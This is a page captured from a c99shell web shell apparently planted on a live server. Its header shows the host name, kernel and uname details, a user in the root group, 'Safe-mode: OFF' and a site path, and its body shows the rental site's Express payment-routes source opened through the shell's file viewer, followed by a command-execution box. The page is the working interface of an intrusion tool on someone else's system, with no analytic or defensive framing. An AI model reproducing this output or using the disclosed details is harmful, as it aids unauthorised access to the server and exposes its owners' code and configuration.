Software: Apache. PHP/8.1.30 uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root) Safe-mode: OFF (not secure) /home/picotech/domains/rentals.picotech.app/public_html/server/routes/ drwxr-xr-x |
Viewing file: Select action/file-type: import express from 'express'; import RentPayment from '../models/RentPayment.js'; import { auth, authorize } from '../middleware/auth.js'; const router = express.Router(); // Get all payments router.get('/', auth, async (req, res) => { try { const payments = await RentPayment.findAll(); res.json(payments); } catch (err) { console.error('Get payments error:', err); res.status(500).json({ message: 'Failed to fetch payments' }); } }); // Get single payment router.get('/:id', auth, async (req, res) => { try { const payment = await RentPayment.findByPk(req.params.id); if (!payment) return res.status(404).json({ message: 'Payment not found' }); res.json(payment); } catch (err) { res.status(500).json({ message: 'Error fetching payment' }); } }); // Create payment router.post('/', auth, authorize(['manage']), async (req, res) => { try { const payment = await RentPayment.create(req.body); res.status(201).json(payment); } catch (err) { console.error('Create payment error:', err); res.status(500).json({ message: 'Failed to create payment' }); } }); // Update payment router.put('/:id', auth, authorize(['manage']), async (req, res) => { try { const payment = await RentPayment.findByPk(req.params.id); if (!payment) return res.status(404).json({ message: 'Payment not found' }); await payment.update(req.body); res.json(payment); } catch (err) { console.error('Update payment error:', err); res.status(500).json({ message: 'Failed to update payment' }); } }); // Delete payment router.delete('/:id', auth, authorize(['manage']), async (req, res) => { try { const payment = await RentPayment.findByPk(req.params.id); if (!payment) return res.status(404).json({ message: 'Payment not found' }); await payment.destroy(); res.status(204).send(); } catch (err) { res.status(500).json({ message: 'Failed to delete payment' }); } }); export default router; |
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]-- |